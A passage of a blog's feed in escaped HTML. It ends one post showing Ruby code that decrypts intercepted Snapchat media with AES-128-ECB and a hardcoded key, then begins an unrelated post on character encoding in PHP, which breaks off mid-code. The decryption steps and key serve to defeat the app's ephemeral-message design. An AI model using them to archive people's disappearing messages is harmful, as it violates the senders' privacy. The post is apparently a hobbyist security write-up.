&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Cipher&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;AES-128-ECB&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;#&amp;lt;OpenSSL::Cipher:0x007f8182658618&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;decrypt&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;#&amp;lt;OpenSSL::Cipher:0x007f8182658618&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;M02cnQ51Ji97vwT4&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;M02cnQ51Ji97vwT4&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;o&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;force_encoding&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;ASCII-8BIT&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;each_slice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;o&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:chr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;o&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\xFF&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\xD8&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\xFF&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\xE0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x10&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;JFIF&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x01&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x01&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x01&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x01&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\xFF&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\xDB&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;C&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x14&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x0E&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;x0F&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x12&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x0F&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x14&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x12&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x10&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x12&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x17&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x15&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x14&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x18&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x1E&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;2!&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x1E&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x1C&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x1C&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\x1E&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;=,.$2I@LKG@FE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;PZ&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JFIF! Hello! We got our man.&lt;/p&gt;
&lt;p&gt;&lt;img style=&quot;border: 1px solid #000; margin: 0px auto; display: block;&quot;
title=&quot;Thanks, @lapscallion.&quot; src=&quot;https://s3.hrzn.ee/kvp/snapchat.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;That’s as far as I got; it was at this stage that I thought of Googling the
encryption key, to see if anyone else had tried this.
&lt;a href=&quot;http://adamcaudill.com/2012/12/31/revisiting-snapchat-api-and-security/&quot;&gt;Seems&lt;/a&gt;
&lt;a href=&quot;https://github.com/tlack/snaphax&quot;&gt;they&lt;/a&gt;
&lt;a href=&quot;https://gist.github.com/NeilHanlon/4686779&quot;&gt;had&lt;/a&gt;.  Still, I’m glad it wasn’t
until here that I searched.&lt;/p&gt;
&lt;p&gt;Many thanks to the &lt;a href=&quot;http://www.matasano.com/articles/crypto-challenges/&quot;&gt;Matasano crypto
challenges&lt;/a&gt; – some of the
above came from knowledge picked up doing them.&lt;/p&gt;
&lt;p&gt;The conclusion is that it’s easy to intercept and decrypt the data Snapchat on
your phone receives; it’d be one, maybe two hours of work to turn the above
code into something I could just switch on and forget about, while it happily
archives every Snapchat I ever receive.&lt;/p&gt;
&lt;p&gt;Truth be told, I can’t be bothered – it’s fun, and I don’t want to ruin the
unique feeling it has by virtue of being an ephemeral medium – but don’t think
it’s hard for someone who cared enough to.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-flurry&quot;&gt;
&lt;p&gt;To &lt;a href=&quot;http://www.flurry.com/&quot;&gt;Flurry&lt;/a&gt;, a mobile analytics company, containing data like my phone model, screen res, probably some unique ID … &lt;a href=&quot;#fnref-flurry&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-ssl-ca&quot;&gt;
&lt;p&gt;I used &lt;a href=&quot;http://www.freebsdmadeeasy.com/tutorials/freebsd/create-a-ca-with-openssl.php&quot;&gt;this guide&lt;/a&gt;, but there are better ones out there which are probably more explanatory. &lt;a href=&quot;#fnref-ssl-ca&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-http&quot;&gt;
&lt;p&gt;Note that this client doesn’t speak HTTP; accordingly, it doesn’t know when to close the connection (GAE’s HTTP server sends the responses with &lt;code&gt;Content-Length&lt;/code&gt;, so we should parse that and know when we’ve received all the data, but it’s easier just to restart the server over and over at this stage). &lt;a href=&quot;#fnref-http&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;3&quot; aria-label=&quot;Back to reference 3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>Escapology: how, when and why to encode and escape</title>
    <updated>2012-04-18T11:10:00Z</updated>
    <id>https://kivikakk.ee/2012/04/18/escapology</id>
    <link href="https://kivikakk.ee/2012/04/18/escapology" />

    <content type="html">&lt;p&gt;As programmers, we spend a lot of time just carting data from one place to
another.  Sometimes that’s the entire purpose of a program or library (data
conversion whatevers), but more often it’s just something that needs to happen
in the course of getting a certain task done.  When we’re sending a request,
using a library, executing templates or whatever, it’s important to be 100%
clear on the format of the data, which is a fancy way of saying how the data is
encoded.&lt;/p&gt;
&lt;p&gt;Let’s do the tacky dictionary thing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.wiktionary.org/wiki/encoding&quot;&gt;encoding&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;plural&lt;/em&gt; encodings)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;(computing) The way in which symbols are mapped onto bytes, e.g. in the
rendering of a particular font, or in the mapping from keyboard input into
visual text.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A conversion of plain text into a code or cypher form (for decoding by the
recipient).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;I think these senses are a bit too specific—if your data is in a computer in
any form, then it’s already encoded.  The keyboard doesn’t even have to come
into it.&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;If you’re like me and you come from an English-speaking country, there’s a good
chance that this might seem farfetched, or totally obvious but lacking in
depth.  The letter &lt;code&gt;A&lt;/code&gt; is represented in ASCII by the integer 65, or hex &lt;code&gt;41&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;From hereon, if I refer to a number with regular formatting, it’s decimal
unless specified otherwise; likewise with &lt;code&gt;code&lt;/code&gt; formatting, it’s hexadecimal.&lt;/p&gt;
&lt;p&gt;You are also probably aware that non-Latin characters like &lt;code&gt;恋&lt;/code&gt; do not have any
mapping in ASCII, that people all tried to make their own ways to get around
this—none of which interoperated particularly well—and that at some stage,
a bunch of smart people decided to create Unicode, which assigns a unique
integer codepoint to every character of every language (and then some), such
that the character just mentioned is &lt;a id=&quot;604b&quot;&gt;&lt;/a&gt;&lt;code&gt;U+604b&lt;/code&gt;, and that there are character
encodings, like UTF-8, which are used to represent the codepoints in a
bytestream, such that &lt;code&gt;恋&lt;/code&gt; becomes &lt;code&gt;e6 81 8b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is all well and good.  But what do you do with this stuff in your program?&lt;/p&gt;
&lt;p&gt;Firstly, we need to straighten out what your environment does, or doesn’t do,
with character encodings.  I’m going to use PHP, Erlang and HTML as my
examples, because they’re things I work with at work, and they each have
slightly different ways of dealing with encoding &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-php-silly&quot; id=&quot;fnref-php-silly&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; owing to their
internal representation of strings.&lt;/p&gt;
&lt;p&gt;Secondly, I’m going to expand this beyond character encodings to &lt;strong&gt;any
encoding&lt;/strong&gt;—which is ultimately what I want to talk about here.  We’re not
just encoding the textual content for decoding into codepoints; we’re also
often encoding data to put it within other data in a demarcated way.  In this
case, we tend to refer to &lt;strong&gt;escaping&lt;/strong&gt;, but escaping and encoding are different
ways of talking about the same &lt;em&gt;process&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;PHP&lt;/h2&gt;
&lt;p&gt;The best way to describe PHP’s character encoding is with the words “not at
all”.  Strings do not have metadata associated with encoding; to all string
manipulation functions, a string might as well be an array of bytes,
representing the raw bytes from the disk that occured between two ASCII &lt;code&gt;&amp;quot;&lt;/code&gt;
(&lt;code&gt;22&lt;/code&gt;) characters.&lt;/p&gt;
&lt;p&gt;In other words, PHP treats the input PHP file as byte soup—nominally ASCII.&lt;/p&gt;
&lt;p&gt;Say I want to store &lt;code&gt;恋は戦争&lt;/code&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-love-is-war&quot; id=&quot;fnref-love-is-war&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt; in a string in PHP.  I boot up my
editor, open a new file called &lt;code&gt;koi.php&lt;/code&gt; and enter:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;恋は戦争&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What do I get?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-utf8.png&quot; alt=&quot;The text “恋は戦争” displays correctly in my browser.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hey, the text displays correctly!  PHP must be super-smart and it’s doing
everything right!  Right?&lt;/p&gt;
&lt;p&gt;Maybe.  My text-editor decided to save the file in UTF-8 by default.  If I was
in Japan and I dealt mostly with Japanese, it could be that I tended to save
files in some popular non-Unicode encodings, like
&lt;a href=&quot;http://en.wikipedia.org/wiki/Shift_JIS&quot;&gt;Shift JIS&lt;/a&gt; or
&lt;a href=&quot;http://en.wikipedia.org/wiki/ISO-2022-JP&quot;&gt;ISO-2022-JP&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What happens if I resave the file in Shift JIS?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-sjis.png&quot; alt=&quot;Non-descript characters appear instead.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Mojibake&quot;&gt;Mojibake!&lt;/a&gt;&lt;/em&gt;  Character encoding issues
are so common, Japanese has a word for it.&lt;/p&gt;
&lt;p&gt;What happened?  PHP actually has no idea about what the text is, encoding,
whatever.  When it looks at the file, it sees this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;c3f &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a0a &lt;span style=&quot;color: #fab387;&quot;&gt;246&lt;/span&gt;b &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;f69 &lt;span style=&quot;color: #fab387;&quot;&gt;203&lt;/span&gt;d &lt;span style=&quot;color: #fab387;&quot;&gt;2022&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;97&lt;/span&gt;f6 &lt;span style=&quot;color: #fab387;&quot;&gt;82&lt;/span&gt;cd  &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt;?&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;....&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;0000010: 90ed 9188 223b 0a0a 6563 686f 2024 6b6f  ....&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;echo &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$ko&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000020&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;693&lt;/span&gt;b &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a0a &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;f3e &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a                        i&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we have a &lt;code&gt;22&lt;/code&gt; at byte &lt;code&gt;0b&lt;/code&gt;, indicating the start of a string, and
then another &lt;code&gt;22&lt;/code&gt; at byte &lt;code&gt;14&lt;/code&gt;.  I’m contending that the bytes between—i.e.
&lt;code&gt;97 f6 82 cd 90 ed 91 88&lt;/code&gt;—are what gets stored in the string, without any
further knowledge.&lt;/p&gt;
&lt;p&gt;If this were the case, then &lt;code&gt;strlen($koi)&lt;/code&gt; should be equal to &lt;code&gt;8&lt;/code&gt; (despite
there being &lt;code&gt;4&lt;/code&gt; Japanese characters).  I modify &lt;code&gt;koi.php&lt;/code&gt;, still in Shift JIS:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
